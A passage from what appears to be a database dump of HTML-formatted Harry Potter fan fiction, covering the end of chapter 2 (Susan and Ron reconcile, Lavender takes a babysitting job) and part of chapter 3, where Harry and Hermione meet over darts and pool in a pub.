stairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Sue!&#8221; Lavender called,\ncarrying two more flat trays. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Susan why are you here so\nearly?&#8221; Hermione asked, pushing the empty jug over the counter to Trippy. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I had to get away from my\nfather!&#8221; Susan exclaimed, tossing her bag behind the counter. &#8220;Do you realize\nhe just paid 5000 Galleons, just to watch me pass out? If I hear him complain\nabout it one more time, I&#8217;m going to go absolutely MAD!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione giggled. &#8220;That had\nto be the funniest damn thing I&#8217;ve seen in a long time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; Lavender\nfrowned. She put a comforting arm around Susan&#8217;s shoulders. &#8220;Are you okay,\nreally?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan shrugged. &#8220;I guess so.\nRon still won&#8217;t talk to me, I&#8217;ve sent him three owls and been over there\ntwice.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why did you pass out?&#8221;\nLavender asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I saw myself fat and\npregnant, cleaning up Ron&#8217;s clothes and his boots every night, slaving over a\nstove for meals, and doing nothing&#8230;.&#8221; Susan stared at the wall. &#8220;And now I\ndon&#8217;t know if he&#8217;ll ever want to marry me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;ll come around, men\nalways do.&#8221; Hermione said confidently, tossing her dark curls back over her\nshoulder. Three guys at the counter sat up straight as she did this, and she\nwinked at them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you really think so?&#8221;\nSusan asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh I know so.&#8221; Hermione\nsaid. She motioned with her head, and sure enough, there was Ron, standing at\nthe entrance to the restaurant.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well if isn&#8217;t Romeo and\nJuliet!&#8221; one of the guys who had been gawking at Hermione said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron glowered at him. &#8220;It&#8217;d\ndo you a world of good to shut up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The other guys started\nlaughing as a different one started humming a wedding march. Ron snarled and\ntook a step closer, but Susan shoved past the jerk and pushed Ron back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Asshole.&#8221; Hermione snapped\nat the troublemaker. She and Lavender hurried to the window as Susan yanked Ron\noutside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron, please, don&#8217;t leave I\nreally want to talk to you.&#8221; Susan pleaded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, okay, I just want to\ngo kick their bloody asses!&#8221; Ron&#8217;s loud voice echoed down the street.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine, later, but now,\nplease stay and talk to me?&#8221; her eyes were large, and Ron felt something inside\nhim soften.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; He said, and\ntook her hand. They walked a few paces down the street silently. &#8220;So what\nhappened?&#8221; he finally asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan sighed. &#8220;I don&#8217;t\nknow&#8230;when I got up there, and everyone was staring at me&#8230;I just couldn&#8217;t do\nit&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron looked away from her.\n&#8220;Do you love me?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron of course I do!&#8221; Susan\nsaid immediately, stopping and turning so that they were facing one another. &#8220;I\njust&#8230;I need a little more time to get used to the idea of us living together,\nsame name, same life&#8230;.&#8221; She leaned onto him and rested her head on his chest,\nstaring up at him imploringly. &#8220;I love you so much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron looked at her a few\nmoments, and she stuck her lower lip out in a small pout.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please Ron?&#8221; she was now\nnear the point of begging.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A smile quirked at the\ncorner of his mouth as he wrapped his arms around her waist. &#8220;I guess we&#8217;ll\nhave to get used to people staring at us wherever we go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let them stare.&#8221; Susan\nsaid, bringing her arms up around his neck. &#8220;I&#8217;ve got you and that&#8217;s all that\nmatters to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A full-fledged grin had now\nspread itself across Ron&#8217;s face as he leaned down and kissed her, bringing her\nbody up against his tightly. After a few moments of blissful lip contact in the\nmiddle of the street, Susan pulled away and smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right now then?&#8221; he\nasked, not letting go of her waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, I&#8217;m okay.&#8221; She felt\nten times better now that Ron wasn&#8217;t mad anymore.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, how about November\nthen?&#8221; his question caught her off guard.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um&#8230;uh&#8230;how about we talk\nthis over later?&#8221; she pulled away and tugged on his hand, walking down the\nstreet together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Say hi to my mom for me.&#8221;\nHermione closed the pizza box and placed a heat charm on it to keep it warm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, I&#8217;ve got to leave\nfor my interview, I&#8217;ll be late!&#8221; Lavender protested, drawing her sweater over\nher head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then, hurry!&#8221; Hermione\nturned her cousin around and pushed her out the back door. &#8220;Lavender&#8217;s the best\ngirl in the world!&#8221; Her cousin rolled her eyes in reply and slammed the door\nshut.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where did we go wrong with\nlittle Hermione?&#8221; she said sarcastically. Leonora smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;d do yourself just fine\nif you used your brains a little more.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rolled her eyes.\n&#8220;Well, don&#8217;t worry about me. I can take care of myself, whether it be working\nhere the rest of my life or marrying some rich guy.&#8221; She swung the door back\nopen to the main part of the restaurant. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s the best restaurant\nyou&#8217;ll ever work in!&#8221; Leonora called out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender sighed and tied the\nbox to the back of her beaten down broomstick. It was her pride and joy, old\nbut reliable. Hopping on, she took off down to the pier where her aunt worked,\npackaging the fish that the men caught. She parked the broom down near a post\nand picked the box up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Aunt Jane!&#8221; Lavender\ncalled out as she approached. &#8220;Got you a cheese pizza today.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lavender!&#8221; Her aunt put her\ntools down and hugged her niece. &#8220;That&#8217;s so sweet of you.&#8221; She took the box and\nplaced it aside. &#8220;Why don&#8217;t you sit awhile and have a piece?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, I&#8217;d love to but I\ncan&#8217;t.&#8221; Lavender said apologetically. &#8220;I&#8217;ve got an interview over near\nShrieking Shack Road.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Another job? You work too\nmuch!&#8221; Jane said affectionately.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I still need more\nmoney for school, it was only a part scholarship.&#8221; Lavender had received a half\nscholarship for a prestigious wizarding college; she was starting late in order\nto get the rest of her tuition together. &#8220;Babysitting this time, I hope I can\njuggle it along with the waitressing job.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll do just fine.&#8221; Her\naunt said reassuringly. &#8220;I&#8217;ll see you later at home then?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I&#8217;ll be around this\nevening.&#8221; Lavender said. She waved and headed back to her broom. She loved her\naunt dearly, they had a real mother/daughter relationship that Lavender hadn&#8217;t\nbeen able to have with her own mother. She sometimes wondered if Hermione was\nbothered by the fact that Lavender was closer to her mother than she was, she&#8217;d\nnever said anything but it was always a thought in the back of Lavender&#8217;s head.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As she neared the address she\nhad gotten from the ad in the Daily Prophet, she wondered what sort of child\nthis person had, she loved kids and hoped there wouldn&#8217;t be any real problems.\nLavender hopped off her broom and brushed her chin length hair back behind her\nears, hoping she looked comfortable yet presentable. She left her broom on the\nporch and rang the bell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello?&#8221; she called into the\nopen door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come in!&#8221; a man&#8217;s voice\nanswered from what seemed like the second level of the house. &#8220;Are you Lavender\nBrown?&#8221; he asked, coming down the stairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes.&#8221; She answered as she\nopened the door and stepped inside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m Henry Bowers.&#8221; The man\nsaid, holding out his hand. She shook it firmly. &#8220;I&#8217;m sorry about the mess,\never since my wife left for the States the house has been in some sort of\ndisarray.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender smiled. She loved\ncluttered houses; there were so many interesting things about them. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Gloria!&#8221; Henry called.\n&#8220;Come on down here!&#8221; Lavender looked up as a beautiful young child shyly came\ndown the stairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lori, this is Lavender.&#8221;\nHenry pulled his daughter into his arms. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Lori!&#8221; Lavender bent\ndown so that she was eye level with the girl, giving her an engaging smile.\n&#8220;How old are you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lori stared at her a moment.\n&#8220;Seven.&#8221; She finally answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Four.&#8221; Henry corrected. &#8220;She&#8217;s\na bit shy, as you can see, but when she gets to know you she&#8217;ll&#8212;&#8220; the phone\nrang at that moment, cutting him off. &#8220;Excuse me, just one moment&#8212;Hello?&#8221; he\nspoke into the receiver.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender crossed the room,\nnoting a pile of toys and books in the corner. She grabbed the first book she\ncame upon, a picture story about a princess in a tower. &#8220;Ahem!&#8221; she cleared her\nthroat loudly. &#8220;Wow, nice pictures!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lori turned, peering at\nLavender. Her ploy was obviously working. She smiled brightly at the child once\nagain, and the little girl left her father&#8217;s side and hesitantly came over to\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Want to read this with me?&#8221;\nLavender asked, and Lori nodded. She hopped up next to her and turned the page.\nLavender began reading in a quiet voice, and Henry could hardly believe it when\nhe finally hung up the phone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Talk about a magic touch.\nYou use a spell?&#8221; he joked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just the fact that I&#8217;ve\nbeen babysitting since I was about nine.&#8221; Lavender said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Henry smiled. &#8220;Do you fly?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I have my broom\noutside.&#8221; Lavender replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Read!&#8221; Lori tapped the book\nwith her finger. Lavender looked back up at Henry. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Job&#8217;s yours if you want\nit!&#8221; he said, his eyes twinkling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great.&#8221; Lavender smiled at\nhim then back down at Lori, and continued.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Well that&#8217;s it for\nchapter 2, in chapter 3 there is MUCH more romance, including a cameo by one of\nmy readers (you know who you are Jenn) and a certain hottie Quidditch\nplayer&#8230;plus *drumroll* H/Hr!!! :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Don&#8217;t forget to read and\nreview, if you want the next chapter quicker! Heehee thanks!!!!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter 3</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Thanks again for the\nreviews on chapter 2, all you patient people, it&#8217;s time for some H/Hr, wouldn&#8217;t\nyou agree? ;) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Onward!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron, your broom smells like\nfish!&#8221; Hermione announced as Ron landed himself, Susan, Hermione and Hermione&#8217;s\ndate Hayden near the sidewalk to their favorite pub in Hogsmeade.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well Hermione,&#8221; Ron said\nwith forced patience. &#8220;That&#8217;s because I carry fish with my broom. It&#8217;s a part\nof my job.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well now I smell like\nthat!&#8221; Hermione snapped back, smoothing her white satin shirt down. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, you&#8217;re a witch,\nyou have a wand, use it!&#8221; Ron said, and Hayden and Susan laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sneered slightly at\nhim and freshened herself up. Hayden looked on with a male&#8217;s appreciation at\nher low cut shirt and tight black skirt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re looking very good\ntonight Hermione.&#8221; He said, grinning at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled politely at\nhim. &#8220;Thanks Hayden.&#8221; She didn&#8217;t normally like going out with him, he had the\nIQ of a tadpole, but he was cute and she needed a date.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on!&#8221; Susan was saying.\n&#8220;I need some ale.&#8221; Ron grabbed her around the waist and they all went inside. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Hermione!&#8221; a chorus of\nmale voices rang out as soon as she stepped through the door. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey John, Michael!&#8221; she\nnodded her head and smiled at two men standing near the pool table. She loved\nImran&#8217;s Mug Pub; it was a wizarding bar run just like a Muggle one.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Buy me a drink?&#8221; she asked\nHayden, setting her bag down by Susan&#8217;s.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Hayden loped off to\nthe bar and Hermione sat back on her stool, looking around for any fresh meat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She didn&#8217;t have to wait\nlong.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A young man with black hair\nand glasses was coming in the door, helping his blond toothy date along.\nAnother couple followed, a man with short brown hair had his arms around a girl\nwith long chestnut colored hair.&nbsp;\nHermione narrowed her eyes as she tried to place where she knew the two\nguys from, and then it hit her, she had seen them earlier that day from the\nwindow!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s hot!&#8221; Susan motioned\nher head towards the black haired one. &#8220;He looks familiar.&#8221; She handed Hermione\na bottle of ale.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know. I saw the two of\nthem from the window at work today.&#8221; She looked at Susan. &#8220;He&#8217;s got a\nWindrider.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oooh.&#8221; Susan smiled. &#8220;You\ngoing to go after him?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;ll see.&#8221; Hermione grinned\nas she watched him hand two glasses of white wine to the girls and some beer\nfor himself and his friend. &#8220;Wait a minute&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Susan asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s Harry Potter!&#8221;\nHermione exclaimed quietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No!&#8221; Susan was shocked.\n&#8220;What in the world is he doing in here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s gorgeous.&#8221; Hermione\nignored Susan&#8217;s question. &#8220;I read about him back in school, but they never\nmentioned how good looking he was.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not unless you were reading\nWitch Weekly.&#8221; Susan said dryly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked around the pub\nwith a slight smirk on his face. He, Oliver, Cassandra and Jenn had decided to\nskip the country club and go to a normal pub; this was the first one they had\ncome across. So far it looked a bit dull.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ten Galleons says I get\nthese three darts in that bulls eye.&#8221; Harry said to a rough looking fat older\nman.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The man laughed. &#8220;Make it 50\nGalleons&#8230;and take a shot of vodka between each shot.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned to the counter.\n&#8220;Three vodkas please!&#8221; he called over. Oliver stared at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you sure&#8212;&#8220; he began to\nsay.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yup, we need a little\naction here.&#8221; Harry spoke with an air of confidence. Jenn and Cassandra stood\ntogether, looking at Harry and whispering as Oliver returned with three shot\nglasses of vodka. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This should be really\ngood.&#8221; Hermione remarked as she and Susan pressed through the crowd. &#8220;No one&#8217;s\never won a bet to Carl, they&#8217;re too afraid of what he&#8217;ll do&#8230;but he seems pretty\nsure of himself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan raised her eyebrows\nbut said nothing as Harry took the first glass and downed the shot. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Aiming carefully, Harry threw\nthe dart, and it went right into the bulls eye. &#8220;That&#8217;s one!&#8221; he smirked\ncheerfully at the man who glowered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s out of his rotting\nmind!&#8221; Oliver whispered to Jenn. &#8220;That guy will kick his ass!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How do you put up with\nhim?&#8221; Jenn asked Cassandra, leaning against Oliver as he slid his arm around\nher waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh I just don&#8217;t know.&#8221;\nCassandra said, flipping a blond curl over her shoulder and looking at Harry\nwith exasperating adoration. &#8220;He&#8217;s just so adventurous and brave!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione couldn&#8217;t help overhearing\nthis and let out a loud snicker. Cassandra heard it and turned to glare at her.\nHermione gave her a tiny smirk and gave her attention back to Harry, who had\njust taken his second shot.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He aimed carefully again and\nthe second dart flew straight beneath the first.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Two!&#8221; Susan mouthed to\nHermione. She had gone back to the bar and was sitting with Ron, who was\ncompletely uninterested in the bet and nuzzling her neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned to a grinning\nOliver, who handed him the last glass of clear liquid. Downing it, he began to\nturn back to the dartboard when two of the most beautiful brown eyes he had\never seen captured him. He took what seemed like ten minutes to him to stare\ninto them, they were hypnotizing. Dragging his eyes away from hers, Harry took\nin the rest of her face, oval shaped framed by long chestnut curls. Her body\nwas hugged by a tight shirt and skirt, her legs long. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled inwardly as\nHarry&#8217;s eyes roamed up and down the length of her body. He looked back up at\nher face and she cocked an eyebrow, letting one side of her mouth quirk in a\ntiny smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Make the shot would you?&#8221;\nCarl&#8217;s loud voice interrupted. &#8220;I&#8217;d like my 50 Galleons!&#8221; his friends laughed\nroughly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry narrowed his eyes and\naimed for the third and final bulls eye. The target swam before his eyes, the\nvodka finally running through him. It sailed through the air and landed about\nthree inches above the target. Loud laughs surrounded him as he shook his head\nand pulled 50 Galleons from his pocket. &#8220;How about some pool?&#8221; he asked Oliver,\nwho looked stunned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I really like playing pool,\nbut why can&#8217;t we do it at my house?&#8221; Jenn was saying as they went over to the\ntable. She looked meaningfully at Oliver who couldn&#8217;t control the grin on his\nface.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cassandra?&#8221; Harry held out\na pool stick to his date.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh no, not me. I couldn&#8217;t\nplay this game to save my life!&#8221; she tittered. Harry looked at Oliver and Jenn,\nhe needed a partner. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, play!&#8221; Jenn urged\nher. Cassandra shook her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m the worst!&#8221; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned away from\nCassandra and spotted the dark haired girl sitting alone on a stool, drinking.\nWasting no time, he crossed the pub. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Pardon me.&#8221; He grinned one\nof his most irresistible smiles her way. &#8220;Do you play?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She set her bottle down and\nstood; up close she was even more breathtaking than he had originally thought.\nHe held out the pool stick to her and she smiled, running her hand over his and\ntaking it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure,&#8221; was her only\nresponse as they went back over to the pool table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You want to break?&#8221; Harry\nasked Oliver.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; Oliver bent\nover the table and sent the white ball flying, scattering the balls in each\ndirection, however none of them went into the holes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was next; he carefully\naimed (still under the vodka influence) and managed to shoot in a solid. He\nlooked up at the girl and she raised an eyebrow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice job.&#8221; She offered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled and aimed\nagain, but the white ball went around the two solids near the hole. &#8220;Sorry,\npartner.&#8221; He said with an affected accent.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione cocked her head in\nmock disappointment and moved away from the table so that Jenn could take her\nturn. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, you want to aim\nfor that one there, the one with the blue stripe.&#8221; Jenn bent over the table and\nOliver moved directly behind her, placing his arms on top of hers to help.\n&#8220;Move your arm back like this&#8230;and&#8230;&#8221; she shot the ball and it hit perfectly,\ngoing right into the hole.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I made it!&#8221; she said in\ndelight. She and Oliver grinned at each other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Want me to help you make\nthe next one?&#8221; he asked, leaning in to kiss her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please do.&#8221; Her voice\nclearly stated she didn&#8217;t need the help but wanted Oliver next to her. He\ndidn&#8217;t bend over with her this time, but as she was about to take her shot, he\nslid his hands around her waist. The white ball flew off the table and headed\nright for Cassandra&#8217;s face, she managed to duck out of the way just in time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Jenn!&#8221; she cried out.\n&#8220;Watch it!&#8221; Harry turned away to muffle his laughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry.&#8221; Jenn replied,\ninvolved in what Oliver was doing with his hands around her waist. He leaned in\nand whispered something to her, making her eyes widen and her face flush red. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked back over at\nthe girl, who looked slightly bored. Looking back at him, a slight smile\ncrossed over her face as she stepped up to the pool table. She bent over and\nhit the white ball, sending in a solid. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione scanned the table a\nmoment, then made her way to the other side and hit the ball, two solids rolled\ninto two different holes. She looked up at Harry, who seemed extremely\nimpressed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Coming around to the other\nside, she held the stick back to hit the ball when she felt it poke\nsomething.&nbsp; &#8220;Excuse me.&#8221; Hermione said\ncoolly to Cassandra, who rolled her eyes and moved away. Harry watched in\namazement as the girl raised her eyes to his and hit the ball, knocking in\nanother two solids.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione crossed back over\nthe table, ready to knock in the 8 ball and win the game. She leaned over,\nlining up the ball with the hole and Harry took the opportunity to admire her\nlong legs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re a hussy aren&#8217;t you!&#8221;\nCassandra suddenly spoke out. &#8220;Like in all those pool hall movies!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cassandra!!&#8221; Harry&#8217;s voice\nwas angry and his emerald eyes shot sparks at her.</p>\n\n<p 